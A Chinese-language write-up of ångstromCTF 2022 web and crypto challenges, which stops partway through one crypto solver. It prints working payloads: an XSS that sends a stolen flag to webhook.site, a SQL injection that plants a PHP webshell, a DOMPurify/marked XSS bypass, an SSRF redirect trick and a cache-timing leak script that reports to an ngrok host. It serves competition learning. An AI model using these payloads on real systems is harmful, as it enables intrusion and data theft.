ångstromCTF 2022 WriteUps

發表於
分類於 CTF

今年和 XxTSJxX 一起打 ångstromCTF 2022,主要解些 web 和 crypto,所以寫些值得紀錄的 writeups。

Web

Xtra Salty Sardines

從題目名稱很明顯知道是 XSS,而他主要的 filter 如下:

app.post("/mksardine", (req, res) => {
    if (!req.body.name) {
        res.status(400).type("text/plain").send("please include a name");
        return;
    }
    // no pesky chars allowed
    const name = req.body.name
        .replace("&", "&")
        .replace('"', """)
        .replace("'", "'")
        .replace("<", "&lt;")
        .replace(">", "&gt;");
    if (name.length === 0 || name.length > 2048) {
        res.status(400)
            .type("text/plain")
            .send("sardine name must be 1-2048 chars");
        return;
    }
    const id = genId();
    sardines[id] = name;
    res.redirect("/sardines/" + id);
});

可以知道他 replace 的時候只會 replace 第一個 occurrence,所以前面放幾個 &"';<> 之類的字元就能繞過。

&"';<><script>fetch('/flag').then(r=>r.text()).then(t=>(new Image).src='https://webhook.site/5557e219-2121-4cd7-ac96-00b224261be2?flag='+t)</script>

<!-- actf{those_sardines_are_yummy_yummy_in_my_tummy} -->
const express = require('express');
const path = require("path");

const app = express();
const port = Number(process.env.PORT) || 8080;

app.get("/gallery", (req, res) => {
    res.sendFile(path.join(__dirname, "images", req.query.member), (err) => {
        res.sendFile(path.join(__dirname, "error.html"))
    });
});

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}.`);
});

可以知道他能任意 LFI 讀檔,測試一下可已發現它 ../.git/HEAD 存在,所以使用 git-dumper 嘗試將整個 repo 載下來:

git-dumper 'https://art-gallery.web.actf.co/gallery?member=../.git/' art

然後檢查一下 git log 看到有個可疑的 commit,所以

git checkout 56449caeb7973b88f20d67b4c343cbb895aa6bc7
cat flag.txt
# actf{lfi_me_alone_and_git_out_341n4kaf5u59v}

School Unblocker

import express from "express";
import fetch from "node-fetch";
import path from "path";
import { fileURLToPath, URL } from "url";
import { resolve4 } from "dns/promises";

function isIpv4(str) {
    const chunks = str.split(".").map(x => parseInt(x, 10));
    return chunks.length === 4 && chunks.every(x => !isNaN(x) && x >= 0 && x < 256);
}

function isPublicIp(ip) {
    const chunks = ip.split(".").map(x => parseInt(x, 10));
    if ([127, 0, 10, 192].includes(chunks[0])) {
        return false;
    }
    if (chunks[0] == 172 && chunks[1] >= 16 && chunks[1] < 32) {
        return false;
    }
    return true;
}

const __dirname = path.dirname(fileURLToPath(import.meta.url));

const app = express();
app.use(express.urlencoded({ extended: false }));

// environment config
const port = Number(process.env.PORT) || 8080;
const flag =
    process.env.FLAG ||
    "actf{someone_is_going_to_submit_this_out_of_desperation}";

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));
});

app.post("/proxy", async (req, res) => {
    try {
        const url = new URL(req.body.url);
        const originalHost = url.host;
        if (!isIpv4(url.hostname)) {
            const ips = await resolve4(url.hostname);
            // no dns rebinding today >:)
            url.hostname = ips[0];
        }
        if (!isPublicIp(url.hostname)) {
            res.type("text/html").send("<p>private ip contents redacted</p>");
        } else {
            const abort = new AbortController();
            setTimeout(() => abort.abort(), 3000);
            const resp = await fetch(url.toString(), {
                method: "POST",
                body: "ping=pong",
                headers: {
                    Host: originalHost,
                    "Content-Type": "application/x-www-form-urlencoded"
                },
                signal: abort.signal,
            });
            res.type("text/html").send(await resp.text());
        }
    } catch (err) {
        res.status(400).type("text/plain").send("got error: " + err.message);
    }
});

// make flag accessible for local debugging purposes only
// also the nginx is at a private ip that isn't 127.0.0.1
// it's not that easy to get the flag :D
app.post("/flag", (req, res) => {
    if (!["127.0.0.1", "::ffff:127.0.0.1"].includes(req.socket.remoteAddress)) {
        res.status(400).type("text/plain").send("You don't get the flag!");
    } else {
        res.type("text/plain").send(flag);
    }
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}`);
});

這題是個 ssrf 題,目標要想辦法 POST 127.0.0.1:8080/FLAG。不過可以看到它已經擋掉了各種 ip 繞法,還有 dns rebinding 等等的都不能用。不過很容易能發現它可以吃 redirect,所以給個 302 redirect 到 /flag 應該就能過了吧…?

測試一下只會發現它 redirect 之後就變成了 GET request,所以去翻了翻 node-fetch 的 source 可以看到是這幾行在作怪。它遇到 303 或是 301/302+POST 的時候就會強制把 method 改回 GET。不過看到這個地方能知道它把 307/308 也都算在 redirect 的 status code,所以只要弄個 307 或是 308 的 redirect 就能拿 flag 了。

https://httpbingo.org/redirect-to?url=http%3A%2F%2F127.0.0.1:8080%2Fflag&status_code=307

actf{dont_authenticate_via_ip_please}

Secure Vault

const express = require("express");
const path = require("path");
const fs = require("fs");
const jwt = require("jsonwebtoken");
const cookieParser = require("cookie-parser");

const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

// environment config
const port = Number(process.env.PORT) || 8080;
const flag =
    process.env.FLAG ||
    "actf{someone_is_going_to_submit_this_out_of_desperation}";

const userInfo = {};
const jwtKey = Math.random().toString();

class UserStore {
    constructor() {
        this.users = {};
        this.usernames = {};
    }

    insert(username, password) {
        const uid = Math.random().toString();
        this.users[uid] = {
            username,
            uid,
            password,
            vault: "put something here!",
            restricted: true,
        };
        this.usernames[username] = uid;
        return uid;
    }

    get(uid) {
        return this.users[uid] ?? {};
    }

    lookup(username) {
        return this.usernames[username];
    }

    remove(uid) {
        const user = this.get(uid);
        delete this.usernames[user.username];
        delete this.users[uid];
    }
}

function escape(str) {
    return str
        .replaceAll("&", "&amp;")
        .replaceAll('"', "&quot;")
        .replaceAll("'", "&apos;")
        .replaceAll("<", "&lt;")
        .replaceAll(">", "&gt;");
}

const users = new UserStore();

app.use((req, res, next) => {
    try {
        res.locals.user = jwt.verify(req.cookies.token, jwtKey, {
            algorithms: ["HS256"],
        });
    } catch (err) {
        if (req.cookies.token) {
            res.clearCookie("token");
        }
    }
    next();
});

app.get("/", (req, res) => {
    res.type("text/html").send(fs.readFileSync(path.join(__dirname, res.locals.user ? "authed.html" : "index.html"), "utf8"));
});

app.post("/register", (req, res) => {
    if (
        !req.body.username ||
        !req.body.password ||
        req.body.username.length > 32 ||
        req.body.password.length > 32
    ) {
        res.redirect(
            "/?e=" +
                encodeURIComponent("Username and password must be 1-32 chars")
        );
        return;
    }
    if (users.lookup(req.body.username)) {
        res.redirect(
            "/?e=" +
                encodeURIComponent(
                    "Account already exists, please log in instead"
                )
        );
        return;
    }
    const uid = users.insert(req.body.username, req.body.password);
    res.cookie("token", jwt.sign({ uid }, jwtKey, { algorithm: "HS256" }));
    res.redirect("/");
});

app.post("/login", (req, res) => {
    const user = users.get(users.lookup(req.body.username));
    if (user && user.password === req.body.password) {
        res.cookie(
            "token",
            jwt.sign({ uid: user.uid }, jwtKey, { algorithm: "HS256" })
        );
        res.redirect("/");
    } else {
        res.redirect("/?e=" + encodeURIComponent("Invalid username/password"));
    }
});

app.post("/delete", (req, res) => {
    if (res.locals.user) {
        users.remove(res.locals.user.uid);
    }
    res.clearCookie("token");
    res.redirect("/");
});

app.get("/vault", (req, res) => {
    if (!res.locals.user) {
        res.status(401).send("Log in first");
        return;
    }
    const user = users.get(res.locals.user.uid);
    res.type("text/plain").send(user.restricted ? user.vault : flag);
});

app.post("/vault", (req, res) => {
    if (!res.locals.user) {
        res.status(401).send("Log in first");
        return;
    }
    if (!req.body.vault || req.body.vault.length > 2000) {
        res.redirect("/?e=" + encodeURIComponent("Vault must be 1-2000 chars"));
        return;
    }
    users.get(res.locals.user.uid).vault = req.body.vault;
    res.redirect("/");
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}`);
});

這題是個 jwt 的登入服務,目標是要變成 non restricted user 才能拿 flag。仔細觀察可以知道如果 username 是 toString 或是 valueOf,然後把 password 弄成 undefined 就能繞過 /login,然後 uid 因為是 undefined 所以自然不是 restricted user。不過測試下去就會發現 server 整個沒有回應,這是因為走到那個 branch 時它只呼叫了 res.cookie(),而沒有 res.send() 或是 res.end(),導致它不知道要 write response 回來。這部分我沒有想到怎麼繞,所以只能找其他方法。

另一個點是注意到它有 /delete 可以刪除帳號,但是 jwt 本身不是 session,如果沒有自己加 timestamp 的話都是永久適用的。所以只要使用 deleted user 的 jwt token 去登入就能讓 users.get(res.locals.user.uid) 回傳 {},然後就能拿到 flag。

從 flag 內容 actf{is_this_what_uaf_is} 也能知道這才是 intended solution,真的是個 UAF。

No Flags?

<?php session_start(); ?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>No Flags?</title>
    <style>
        body {
            background-color: #f8bbd0;
        }

        h1, h2, li, input {
            color: #560027;
        }
        
        h1, h2 {
            font-family: sans-serif;
        }

        h1 {
            font-size: 36px;
        }

        h2 {
            font-size: 30px;
        }

        li, input {
            font-size: 24px;
            font-family: monospace;
        }

        input {
            background: none;
            border: 1px solid #880e4f;
            border-radius: 5px;
        }
    </style>
</head>
<body>
    <h1>List of Fake Flags</h1>
    <ul>
    <?php
        if (!isset($_SESSION["DBNAME"])) {
            $dbname = hash("sha256", (string) rand());
            $_SESSION["DBNAME"] = $dbname;
            $init = true;
        } else {
            $dbname = $_SESSION["DBNAME"];
            $init = false;
        }
        $pdo = new PDO("sqlite:/tmp/$dbname.db");
        if ($init) {
            $pdo->exec("CREATE TABLE Flags (flag string); INSERT INTO Flags VALUES ('actf{not_the_flag}'), ('actf{maybe_the_flag}')");
        }
        if (isset($_POST["flag"])) {
            $flag = $_POST["flag"];
            $pdo->exec("INSERT INTO Flags VALUES ('$flag');");
        }
        foreach ($pdo->query("SELECT * FROM Flags") as $row) {
            echo "<li>" . htmlspecialchars($row["flag"]) . "</li>";
        }
    ?>
    </ul>
    <h2>Add a Fake Flag</h2>
    <form action="/" method="POST">
        <input type="text" name="flag" placeholder="flag...">
        <input type="submit" value="Add">
    </form>
</body>
</html>

很直接的一個 sqlite sql injection,但是 db 中根本沒東西。看一下提供的 Dockerfile 可知需要 RCE 才行:

FROM php:8.1.5-apache-bullseye

# executable that prints the flag
COPY printflag /printflag
RUN chmod 111 /printflag
COPY src /var/www/html

RUN chown -R root:root /var/www/html && chmod -R 555 /var/www/html
RUN mkdir /var/www/html/abyss &&\
    chown -R root:root /var/www/html/abyss &&\
    chmod -R 333 abyss

EXPOSE 80

所以參考了 PayloadsAllTheThings 的 payload 直接寫 webshell 到 /var/www/html/abyss 中 RCE 即可。

x');ATTACH DATABASE '/var/www/html/abyss/shell.php' AS lol;CREATE TABLE lol.pwn (dataz text);INSERT INTO lol.pwn (dataz) VALUES ('<?php system($_GET["cmd"]); ?>');----

# actf{why_do_people_still_use_php}

Sustenance

const express = require("express");
const cookieParser = require("cookie-parser");
const path = require("path");

const app = express();
app.use(express.urlencoded({ extended: false }));

// environment config
const port = Number(process.env.PORT) || 8080;
const adminSecret = process.env.ADMIN_SECRET || "secretpw";
const flag =
    process.env.FLAG ||
    "actf{someone_is_going_to_submit_this_out_of_desperation}";

function queryMiddleware(req, res, next) {
    console.log(req.cookies)
    res.locals.search =
        req.cookies.search || "the quick brown fox jumps over the lazy dog";
    // admin is a cool kid
    if (req.cookies.admin === adminSecret) {
        res.locals.search = flag;
    }
    next();
}

app.use(cookieParser());

app.get("/", (req, res) => {
    res.sendFile(path.join(__dirname, "index.html"));
});

app.post("/s", (req, res) => {
    if (req.body.search) {
        for (const [name, val] of Object.entries(req.body)) {
            res.cookie(name, val, { httpOnly: true });
        }
    }
    res.redirect("/");
});

app.get("/q", queryMiddleware, (req, res) => {
    const query = req.query.q || "h"; // h
    let status;
    if (res.locals.search.includes(query)) {
        status =
            "succeeded, but please give me sustenance if you want to be able to see your search results because I desperately require sustenance";
    } else {
        status = "failed";
    }
    res.redirect(
        "/?m=" +
            encodeURIComponent(
                `your search that took place at ${Date.now()} has ${status}`
            )
    );
});

app.listen(port, () => {
    console.log(`Server listening on port ${port}`);
});

這題是個 front end 的題目,不過看不出有 xss 的方法,所以只能 xsleaks 了。雖然從 source 看了出來是要想辦法利用 /s 去設定一些 cookie 達成 xsleaks,但是那個 endpoint 最多只能注入一些 cookie 的 attribute,沒辦法 CRLF injection 之類的。雖然我沒能在比賽中找到正確解法,但是我還是使用了 unintended 的做法解掉了這題。

關鍵在於前面有一題 No Flags? 是有 RCE 的,然後兩題的 domain 分別是 no-flags.web.actf.cosustenance.web.actf.co,所以兩個並沒有被 cache partitioning 分隔。所以使用下方的這個函數去判斷 timing 可以有效的檢查一個 path 是否有被 visit 過:

async function timeurl(u) {
	let start = performance.now()
	await fetch(u, {
		mode: 'no-cors',
		credentials: 'same-origin',
		cache: 'force-cache'
	})
	return performance.now() - start
}

所以就使用 /q?q=actf{a 之類的查詢後它會 redirect 到 /?m=your... 的網址,因為它有固定的格式所以透過判斷是否有 cache 來知道 res.locals.search.includes(query) 的結果。這個是我完整的 exp:

// fetch('https://deelay.me/60000/https://picsum.photos/200/300')
const parsed = new URL(document.currentScript.src)

function rlog(...args) {
	console.log(...args)
	// navigator.sendBeacon(
	// 	parsed.protocol + '//' + parsed.hostname + '/report' + encodeURIComponent(String(args[0])),
	// 	JSON.stringify(args, null, 2)
	// )
	fetch(parsed.protocol + '//' + parsed.hostname + '/report' + encodeURIComponent(String(args[0])),{
		mode: 'no-cors',
		body: JSON.stringify(args, null, 2),
		method: 'post'
	})
}

function sleep(ms) {
	return new Promise(res => setTimeout(res, ms))
}
async function timeurl(u) {
	let start = performance.now()
	await fetch(u, {
		mode: 'no-cors',
		credentials: 'same-origin',
		cache: 'force-cache'
	})
	return performance.now() - start
}
async function timeurlmean(u,n=4) {
	const vals = []
	let sum = 0
	let mn = 123
	for(let i=0;i<n;i++){
		const v = await timeurl(u)
		sum+=v
		if(v<mn){
			mn=v;
		}
		vals.push(v)
	}
	// return [sum/n,mn]
	return vals.sort((a,b)=>a-b)[2]
}

async function test(q) {
	win = open('https://sustenance.web.actf.co/q?q=' + encodeURIComponent(q), 'tmp', 'width=100,height=100')
	const t = Date.now()
	await sleep(35)
	win.close()
	const urls = []
	const ar = []
	for (let i = 0; i < 30; i++) {
		const t2 = t + i
		const u =
			'https://sustenance.web.actf.co/?m=your%20search%20that%20took%20place%20at%20' +
			t2 +
			'%20has%20succeeded%2C%20but%20please%20give%20me%20sustenance%20if%20you%20want%20to%20be%20able%20to%20see%20your%20search%20results%20because%20I%20desperately%20require%20sustenance'
		urls.push(u)
		const v=await timeurl(u)
		ar.push(v)
	}
	return Math.min(...ar)
	// rlog(`done-${q}`,Math.min(...ar),ar)
}
async function main(){
	// await test('actf')
	// await test('fasd')
	// await test('ytxz')
	// await test('actf{')
	// const chrs = 'abcdefghijklmnopqrstuvwxyz'
	const params = new URLSearchParams(location.search)
	const chrs = params.get('chrs')
	const prefix = params.get('prefix')
	// let flag = 'act'
	// for(const c of chrs){
	// 	await test(flag+c)
	// }
	const vals = []
	let mnv=100, ch
	for(const c of chrs){
		const v = await test(prefix+c)
		vals.push(v)
		if(v<mnv){
			mnv=v
			ch = c
		}
	}
	rlog(`result_${prefix}`, prefix + ch,mnv, vals)
	
}
main()
/**
 * goto https://no-flags.web.actf.co/abyss/shell35.php run this script
 * ht=`<script src="https://????.ngrok.io/exp2.js"></script>`
 * location.search='?cmd='+encodeURIComponent(`echo '${btoa(ht)}' | base64 -d > zxzx.php`)
 * 
 * then send https://no-flags.web.actf.co/abyss/zxzx.php?chrs=abcdefghijklmnopqrstuvwxyz_}&prefix=actf{yummy_sustenance to the bot
 */


// actf{yummy_sustenance}

使用方法就是先使用 ngrok 之類的服務讓檔案位置公開可存取,然後利用 No Flags? 上的 webshell 建立一個檔案去 include 它,然後 submit https://no-flags.web.actf.co/abyss/zxzx.php?chrs=abcdefghijklmnopqrstuvwxyz_}&prefix=actf{ 之類的網址給 bot 就能在高正確率的情況下取得 prefix 的下個字元。

不過其實這個 unintended 沒有必要使用到 No Flags?,因為 headless Chromium 沒有 cache partitioning!!! 直接使用 ngrok domain 測試也確實能查詢到 cache,真的太神奇了。之前也有個 ctf 出現了這個問題的 unintended

Cliche

這題簡而蔽之就只有這行 js 值得看:

document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));

版本是 DOMPurify 2.3.6 和 marked 4.0.14。

它把 marked.parseDOMPurify.sanitize 的順序顛倒了過來,目標是要 XSS 拿 cookie 而已。DOMPurify 很明顯難以直接繞過,因為真能繞過的話等於是找到了 0day,所以關鍵還是怎麼利用 marked 去把 DOMPurify sanatized 的 safe html 重新變回 XSS。

我的思路很簡單,就是想辦法讓 < 出現在不會被解析為 html tag 的地方 (e.g. <style>),然後利用 markdown 的某些性質讓它跑出該 tag 的內容中,這樣就有機會 xss 了。

我的出發點是利用 [text](link 'title') 會被解析為 <p><a href="link" title="title">text</a></p> 的性質,把 title 換成 <style> 就會變成 <p><a href="link" title="&lt;style&gt;">text</a></p>

此時在 <style></style> 塞入 < 就不會出事,不過因為 marked 的原因還是會被 escape 掉,所以還是得讓 marked 讓它認為該處是 html 才行: <pre>[text](link '<style>')<</style></pre>。然而這又導致 markdown 不會被解析,所以去讀了 source code 之後知道 heading 會讓 marked 進入 parseInline,可以強制讓 markdown 被解析出來: # <pre>[text](link '<style>')<</style></pre> -> # <pre>[text](link '<style>')<</style></pre>

下一步是要讓 < 字元變成 xss,一個很明顯的做法是直接讓它用 <img src=1 onerror=alert(1)> 達成,但是會發現這樣會導致 <style> 整個消失。這是因為 DOMPurify 為了避免 mutation xss 會阻擋內容中包含 <[/\w] 的 tag,就算是純文字也一樣。

我繞這個的方式是利用 html comment <!-- 可以讓它不會被 DOMPurify 擋掉,然後後面在想辦法在 attribute 中塞個 --> 再接上 <img> 就能 XSS 了:

# <pre>[text](link '<style>')<!--</style><div id="--><img src=1 onerror=alert(1)>"></div></pre>

會被變成:

<h1 id="text"><pre><a href="link" title="&lt;style&gt;">text</a><!--</style><div id="--><img src=1 onerror=alert(1)>"></div></pre></h1>

而這個 payload 其實還能簡化為:

[x](y '<style>')<!--</style><div id="x--><img src=1 onerror=alert(1)>"></div>

而後來我還在 Discord 看到一個比這簡單很多的解法:

<a title="a

<img src=x onerror=alert(1)>">yep</a>

因為 markdown 連換兩行就被當成了 paragraph,導致前半被 <p> 包起來,然後就有後面的 xss 了。

Crypto

Vinegar Factory

#!/usr/local/bin/python3

import string
import os
import random

with open("flag.txt", "r") as f:
    flag = f.read().strip()

alpha = string.ascii_lowercase

def encrypt(msg, key):
    ret = ""
    i = 0
    for c in msg:
        if c in alpha:
            ret += alpha[(alpha.index(key[i]) + alpha.index(c)) % len(alpha)]
            i = (i + 1) % len(key)
        else:
            ret += c
    return ret

inner = alpha + "_"
noise = inner + "{}"

print("Welcome to the vinegar factory! Solve some crypto, it'll be fun I swear!")

i = 0
while True:
    if i % 50 == 49:
        fleg = flag
    else:
        fleg = "actf{" + "".join(random.choices(inner, k=random.randint(10, 50))) + "}"
    start = "".join(random.choices(noise, k=random.randint(0, 2000)))
    end = "".join(random.choices(noise, k=random.randint(0, 2000)))
    key = "".join(random.choices(alpha, k=4))
    print(f"Challenge {i}: {start}{encrypt(fleg + 'fleg', key)}{end}")
    x = input("> ")
    if x != fleg:
        print("Nope! Better luck next time!")
        break
    i += 1

這題就 vigenere cipher,只是因為前面有些額外的 noise 所以要小小的 bruteforce,然後用 flag prefix 回推 key 解密即可。

from pwn import *
import string

alpha = string.ascii_lowercase


def decrypt(msg, key):
    ret = ""
    i = 0
    for c in msg:
        if c in alpha:
            ret += alpha[(alpha.index(c) - alpha.index(key[i])) % len(alpha)]
            i = (i + 1) % len(key)
        else:
            ret += c
    return ret


def encrypt(msg, key):
    ret = ""
    i = 0
    for c in msg:
        if c in alpha:
            ret += alpha[(alpha.index(key[i]) + alpha.index(c)) % len(alpha)]
            i = (i + 1) % len(key)
        else:
            ret += c
    return ret


def find_key(ct_cand):
    try:
        return "".join(
            [
                alpha[(alpha.index(c) - alpha.index(d)) % len(alpha)]
                for c, d in zip(ct_cand, "actf")
            ]
        )
    except:
        pass


# io = process(['python', 'main.py'])
io = remote("challs.actf.co", 31333)
for _ in range(50):
    io.recvregex(r"Challenge \d+: ".encode())
    ct = io.recvlineS().strip()
    # io.recvuntil(b'Challenge ')
    # print(ct)
    lb_idxs = [i for i, c in enumerate(ct) if c == "{"]
    cands = [(i, ct[i - 4 : i]) for i in lb_idxs if i >= 4]
    print(len(cands))
    for i, c in cands:
        key = find_key(c)
        if not key:
            continue
        # print(c, key)
        msg = decrypt(ct[i - 4 :], key)
        if "fleg" in msg:
            msg = msg[: msg.index("fleg")]
            if msg.count("{") == 1 and msg.count("}") == 1:
                print(_, msg)
                io.sendline(msg.encode())
                break
    else:
        print("no found")

# actf{classical_crypto_is_not_the_best}

log log log

from secrets import randbits
from flag import flag

flagbits = len(flag) * 8
flag = int(flag.hex(),16)

q = 127049168626532606399765615739991416718436721363030018955400489736067198869364016429387992001701094584958296787947271511542470576257229386752951962268029916809492721741399393261711747273503204896435780180020997260870445775304515469411553711610157730254858210474308834307348659449375607755507371266459204680043
p = q * 2^1024 + 1

assert p in Primes()

nbits = p.nbits()-1

e = randbits(nbits-flagbits)
e <<= flagbits
e |= flag

K = GF(p)
g = K.multiplicative_generator()
a = g^e

print(hex(p))
print(g)
print(hex(a))
print(flagbits)

目標就是求 age(modp)a \equiv g^e \pmod{p}ee,也就是 discrete log。關鍵在於 flag 只有 880 bits,而 p1=21024qp-1=2^{1024}q

所以只要把問題化為 aq(gq)e(modp)a^q \equiv (g^q)^e \pmod{p},然後利用 gqg^q 的 order 只有 210242^{1024} 的性質就能簡單求出 emod21024e \bmod{2^{1024}} 了。這部分 sage 內建的就能處理了,至於實際上要怎麼算的話可以看 Pohlig–Hellman

from Crypto.Util.number import *

q = 127049168626532606399765615739991416718436721363030018955400489736067198869364016429387992001701094584958296787947271511542470576257229386752951962268029916809492721741399393261711747273503204896435780180020997260870445775304515469411553711610157730254858210474308834307348659449375607755507371266459204680043
p = q * 2 ^ 1024 + 1
K = GF(p)
g = K(3)
a = K(
    0xAF99914E5FB222C655367EEAE3965F67D8C8B3A0B3C76C56983DD40D5EC45F5BCDE78F7A817DCE9E49BDBB361E96177F95E5DE65A4AA9FD7EAFEC1142FF2A58CAB5A755B23DA8AEDE2D5F77A60EFF7FB26AEC32A9B6ADEC4FE4D5E70204897947EB441CC883E4F83141A531026E8A1EB76EE4BFF40A8596106306FDD8FFEC9D03A9A54EB3905645B12500DAEABDB4E44ADCFCECC5532348C47C41E9A27B65E71F8BC7CBDABF25CD0F11836696F8137CD98088BD244C56CDC2917EFBD1AC9B6664F0518C5E612D4ACDB81265652296E4471D894A0BD415B5AF74B9B75D358B922F6B088BC5E81D914AE27737B0EF8B6AC2C9AD8998BD02C1ED90200AD6FFF4A37
)

g ^= q
a ^= q
print(long_to_bytes(discrete_log(a, g, ord=2 ^ 1024)))

Prophet

package main

import (
	"encoding/binary"
	"fmt"
	"math/rand"
)

func main() {
	flag := "actf{REDACTEDREDACTEDREDACTED!!}"
	rand.Seed(12345) // the actual seed is not 12345
	// drastically slow down naive brute force
	for i := 0; i < 100000; i += 1 {
		rand.Uint64()
	}
	for i := 0; i < 4; i += 1 {
		fmt.Printf("flag chunk: %d\n", binary.LittleEndian.Uint64([]byte(flag)[i*8:i*8+8])^rand.Uint64())
	}
	gap := 0
	for i := 0; i < 607; i += 1 {
		fmt.Println(rand.Uint64())
		for j := 0; j < gap; j += 1 {
			rand.Uint64()
		}
		gap = (gap + 1) % 13
	}
}

一個 golang 的題目,把 flag 和一些隨機數 xor 了,然後輸出 607 個 output,其中跳過了一些輸出。題目很明顯是要讓我們 predict random 的輸出,所以需要去看 go 的 source code。

它的核心其實就 src/math/rand/rng.go:238-252 的幾行而已:

func (rng *rngSource) Uint64() uint64 {
	rng.tap--
	if rng.tap < 0 {
		rng.tap += rngLen
	}

	rng.feed--
	if rng.feed < 0 {
		rng.feed += rngLen
	}

	x := rng.vec[rng.feed] + rng.vec[rng.tap]
	rng.vec[rng.feed] = x
	return uint64(x)
}

可知它有點像是 LFSR,不過 tap 只取一個,且 tap 本身還會移動。不過這些都不是問題,因為它 rng.vec 也才 607 個 states,將它們設為未知數然後模擬它的輸出就能得到 607 條 linear equation,然後就能解出 states 回推。

不過實際上測試只有在沒跳過任何 states 的時候才有能力回推全部的狀態,但是以這題的情況就已經足夠恢復解密的 output 了。在解的時候還有個小技巧就是把初始 state 設為 100000 次 rand.Uint64() 的狀態會比較簡單,不用吹灰之力就能拿到 xor 的 output 了。

with open("chall.txt") as f:
    flagct = []
    for _ in range(4):
        flagct.append(int(f.readline().split(" ")[-1]))
    nums = list(map(int, f.readlines()))
rngLen = 607
rngTap = 273
tap = 0
feed = rngLen - rngTap
tap = (tap - 100000) % rngLen
feed = (feed - 100000) % rngLen
P = PolynomialRing(Zmod(2**64), "vec", rngLen)
gens = P.gens()
vec = list(gens)


def rand_uint64():
    global tap, feed
    tap -= 1
    if tap < 0:
        tap += rngLen
    feed -= 1
    if feed < 0:
        feed += rngLen
    x = vec[feed] + vec[tap]
    vec[feed] = x
    return x


polys = []
gap = 0
for _ in range(4):
    rand_uint64()
for i, num in enumerate(nums):
    polys.append(rand_uint64() - num)
    for _ in range(gap):
        rand_uint64()
    gap = (gap + 1) % 13
M, v = Sequence(polys).coefficient_matrix()
print(v.T)
A = M[:, :-1]
b = -M[:, -1]
tmp = A.solve_right(b).list()
for j, term in enumerate(v.list()[:-1]):
    i = gens.index(term)
    vec[i] = tmp[j]
# print(vec)

tap = 0
feed = rngLen - rngTap
tap = (tap - 100000) % rngLen
feed = (feed - 100000) % rngLen
for ct in flagct:
    print(int(int(ct) ^^ int(rand_uint64())).to_bytes(8, "little").decode(), end="")

# actf{i_c4n_f0rs33_th3_p4s7_t00_}

Strike-Slip Fault

#!/usr/local/bin/python3

from Crypto.Util.number import getStrongPrime, long_to_bytes, bytes_to_long, inverse
from secrets import randbelow, token_bytes

print("Welcome to my super secret service! (under construction)")

BITS = 4096

p = getStrongPrime(BITS//2)
q = getStrongPrime(BITS//2)
n = p*q
phi = (p-1)*(q-1)
e = 65537

flag = [REDACTED]
m = bytes_to_long(flag+token_bytes(BITS//8 - len(flag) - 1))
c = pow(m,e,n)

print("Making sure nothing was tampered with...")
print("n =", n)
print("e =", e)
print("c =", c)

d = inverse(e, phi)
bits = list(range(d.bit_length()))
for i in range(3):
	d ^= 1 << bits.pop(randbelow(len(bits))) # these cosmic rays man...

ans = long_to_bytes(pow(c,d,n))
if ans.startswith(flag):
	print("Check passed!")
print(f"Check failed, {ans} does not start with the flag.")

這題有 cme(modn)c \equiv m^e \pmod{n},然後它會使用被 flip 三個 bits 的 dd' 解密出 m=cd(modn)m'=c^{d'} \pmod{n} 給你。

因為就三個 bits 被 flip 過,所以有 d=d±2a±2b±2cd'=d \pm 2^a \pm 2^b \pm 2^c 的關係,將它放進原本的等式會變成:

mcd(modn)cd±2a±2b±2c(modn)mc±2ac±2bc±2c(modn)\begin{aligned} m' &\equiv c^{d'} \pmod{n} \\ &\equiv c^{d \pm 2^a \pm 2^b \pm 2^c} \pmod{n} \\ &\equiv m c^{\pm 2^a} c^{\pm 2^b} c^{\pm 2^c} \pmod{n} \end{aligned}

然而這個等式中我們只知道 mm' 而不知 mm,所以沒辦法對它做什麼。一個小技巧是把它全部開 ee 次方變成:

(m)ec(ce)±2a(ce)±2b(ce)±2c(modn)(m')^e \equiv c (c^e)^{\pm 2^a} (c^e)^{\pm 2^b} (c^e)^{\pm 2^c} \pmod{n}

這樣等式兩邊剩下的未知數就只有 a,b,ca,b,c 了,不過因為 0a,b,c40960 \leq a,b,c \le 4096,所以直接爆要 23×(40963)236.42^3 \times {4096\choose{3}} \approx 2^{36.4} 次才行,雖然不至於不行但對 ctf 還是難。

這邊的小技巧是把其中一個 (ce)±2a(c^e)^{\pm 2^a} 乘到等式的另一邊:

(m)e(ce)2ac(ce)±2b(ce)±2c(modn)(m')^e (c^e)^{\mp 2^a} \equiv c (c^e)^{\pm 2^b} (c^e)^{\pm 2^c} \pmod{n}

然後對左邊 a[0,4096)a \in [0, 4096) 建表後再爆搜 b,cb,c,這樣一共 2×4096+22×(40962)2252 \times 4096 + 2^2 \times {4096\choose{2}} \approx 2^{25} 次而已,是能夠爆破完的。這個技巧其實就是 Meet-in-the-middle attack (雖然這題不是真的在 middle…)。

from Crypto.Util.number import *
from gmpy2 import powmod
from itertools import combinations, product
from tqdm import tqdm

n = 900070490622067320191637256322689412527951600989690014040742293402515652299807355416973524079799412242303695005849373445039400849591465597575071172369743191868426614517714438100741689051321511330353068870085391955380005924193452388879170080569217611534666723431228876665400462326676136834184598097637612462138913958737759322989904101853151206852072163254977079626441345648695044414743061561749348880019607938930572091154083635100263637181513759943165217032366307235262290149121982361740356299744695043277615922872281013512722579789196565526621382570308445038543830946971870143416647314522450656476380450926273955034941922166822345239863969969054173792809511555294506499479460733800203789975490744756171199513541914459052812970878813532508200185561086389173320140400837553390150640118664644728326976956623287728071670363574828765499081630098395101207132121557269428414754204021602411843144222862499913321787608802795431375613453451646357431858538087082423774836125541442108814662883958785416540932102786177408197877642161771714550028264013960050526390792232071691880271991611403599658754594252925331797512039370218705211962522382739680885820067113131946086305783275655204391316332325661610449937310593926456756974934432806107508584687
e = 65537
